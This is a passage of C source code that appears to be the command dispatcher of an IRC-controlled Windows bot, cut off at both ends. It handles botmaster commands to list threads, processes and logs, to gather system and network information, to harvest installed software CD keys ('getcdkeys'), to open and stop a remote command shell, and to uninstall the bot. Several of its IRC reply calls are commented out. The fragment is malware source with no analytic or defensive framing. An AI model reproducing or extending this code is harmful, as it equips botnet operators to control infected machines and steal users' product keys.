tlist.silent = silent;
tlist.full = ((a[s+1])?((strcmp(a[s+1],"sub") == 0)?(TRUE):(FALSE)):(FALSE));
sprintf(sendbuf, "[THREADS]: List threads.");
tlist.threadnum = addthread(sendbuf, LIST_THREAD, NULL);
if (threads[tlist.threadnum].tHandle = CreateThread(NULL, 0, &ListThread, (LPVOID)&tlist, 0, &id)) {
while (tlist.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[THREADS]: Failed to start list thread, error: <%d>.", GetLastError());
addlog(sendbuf);
// return repeat;
}
else if (strcmp("aliases", a[s]) == 0 || strcmp("al", a[s]) == 0) {
// aliaslist(sock, a[2], notice);
addlog("[MAIN]: Alias list.");
return repeat;
}
else if (strcmp("log", a[s]) == 0 || strcmp("lg", a[s]) == 0) {
SHOWLOG showlog;
showlog.filter[0] = '\0';
if (x != NULL && a[s+1]) {
char *y = strstr(x, a[s+1]);
if (y != NULL)
_snprintf(showlog.filter,sizeof(showlog.filter),"%s",y);
}
_snprintf(showlog.chan, sizeof(showlog.chan), a[2]);
//showlog.sock = sock;
showlog.notice = notice;
showlog.silent = silent;
sprintf(sendbuf, "[LOG]: Listing log.");
showlog.threadnum = addthread(sendbuf, LOG_THREAD, NULL);
if (threads[showlog.threadnum].tHandle = CreateThread(NULL, 0, &ShowLogThread, (LPVOID)&showlog, 0, &id)) {
while (showlog.gotinfo == FALSE)
Sleep(50);
} else
addlogv("[LOG]: Failed to start listing thread, error: <%d>.", GetLastError());
return 1;
}
else if (strcmp("clearlog", a[s]) == 0 || strcmp("clg", a[s]) == 0) {
// clearlog(sock, a[2], notice, silent);
return 1;
}
#ifndef NO_NETINFO
else if (strcmp("netinfo", a[s]) == 0 || strcmp("ni", a[s]) == 0) {
//irc_privmsg(sock, a[2], netinfo(sendbuf, host, sock), notice);
addlog("[MAIN]: Network Info.");
return repeat;
}
#endif
#ifndef NO_SYSINFO
else if (strcmp("sysinfo", a[s]) == 0 || strcmp("si", a[s]) == 0) {
//irc_privmsg(sock, a[2], sysinfo(sendbuf, sock), notice);
addlog("[MAIN]: System Info.");
return repeat;
}
#endif
else if (strcmp("remove", a[s]) == 0 || strcmp("rm", a[s]) == 0) {
// if (!silent) //irc_privmsg(sock, a[2], "[MAIN]: Removing Bot.", notice);
#ifdef DEBUG_LOGGING
closedebuglog();
#endif
// fclosesocket(sock);
fWSACleanup();
uninstall();
ExitProcess(EXIT_SUCCESS);
}
#ifndef NO_PROCESS
else if (strcmp("procs", a[s]) == 0 || strcmp("ps", a[s]) == 0) {
if (findthreadid(PROC_THREAD) > 0) {
// if (!silent) //irc_privmsg(sock, a[2], "[PROC]: Already running.", notice);
} else {
LPROC lproc;
_snprintf(lproc.chan, sizeof(lproc.chan), a[2]);
// lproc.sock = sock;
lproc.notice = notice;
lproc.silent = silent;
lproc.full = FALSE;
if (a[s+1])
if (strcmp("full", a[s+1]) == 0)
lproc.full = TRUE;
sprintf(sendbuf,"[PROCS]: Proccess list.");
lproc.threadnum = addthread(sendbuf, PROC_THREAD, NULL);
if (threads[lproc.threadnum].tHandle = CreateThread(NULL, 0, &listProcessesThread, (LPVOID)&lproc, 0, &id)) {
while (lproc.gotinfo == FALSE)
Sleep(50);
} else
sprintf(sendbuf,"[PROCS]: Failed to start listing thread, error: <%d>.", GetLastError());
addlog(sendbuf);
}
return 1;
}
#endif
#ifndef NO_CDKEYS
else if (strcmp("getcdkeys", a[s]) == 0 || strcmp("key", a[s]) == 0) {
getcdkeys(sock,a[2],notice);
sprintf(sendbuf,"[CDKEYS]: Search completed.");
//if (!silent) //irc_privmsg(sock,a[2],sendbuf,notice);
addlog(sendbuf);
return 1;
}
#endif
else if (strcmp("uptime", a[s]) == 0 || strcmp("up", a[s]) == 0) {
DWORD uptime = -1, total = GetTickCount() / 1000;
if(a[s+1])
uptime = atoi(a[s+1]);
if (total/86400 >= uptime || uptime == -1) {
sprintf(sendbuf, "[MAIN]: Uptime: %s.", Uptime());
// //irc_privmsg(sock, a[2], sendbuf, notice);
addlog(sendbuf);
}
return repeat;
}
else if (strcmp("driveinfo", a[s]) == 0 || strcmp("drv", a[s]) == 0) {
// DriveInfo(sock, a[2], notice, a[s+1]);
return 1;
}
else if (strcmp("testdlls", a[s]) == 0 || strcmp("dll", a[s]) == 0) {
// CheckDLLs(sock,a[2],notice,silent);
return 1;
}
#ifdef DUMP_ENCRYPT
else if (strcmp("encrypt", a[s]) == 0 || strcmp("enc", a[s]) == 0) {
encryptstrings((sizeof(authost) / sizeof(LPTSTR)),(sizeof(versionlist) / sizeof(LPTSTR)),sock,a[2],notice);
return 1;
}
#endif
#ifndef NO_REMOTECMD
else if (strcmp("opencmd",a[s]) == 0 || strcmp("ocmd", a[s]) == 0) {
if (findthreadid(RCMD_THREAD) > 0) {
sprintf(sendbuf ,"[CMD]: Remote shell already running.");
////if (!silent) //irc_privmsg(sock,a[2],sendbuf,notice);
addlog(sendbuf);
} else {
//if (open_cmd(a[2]) == -1)
// sprintf(sendbuf,"[CMD]: Couldn't open remote shell.");
//else
// sprintf(sendbuf,"[CMD]: Remote shell ready.");
////if (!silent) //irc_privmsg(sock,a[2],sendbuf,notice);
//addlog(sendbuf);
}
return 1;
}
else if (strcmp("cmdstop",a[s]) == 0) {
// stopthread(sock,a[2],notice,silent,"[CMD]","Remote shell",RCMD_THREAD,a[s+1]);
return 1;
}
#endif
else if (strcmp("who", a[s]) == 0) {
// if (!silent) //irc_privmsg(sock, a[2], "-[Login List]-", notice);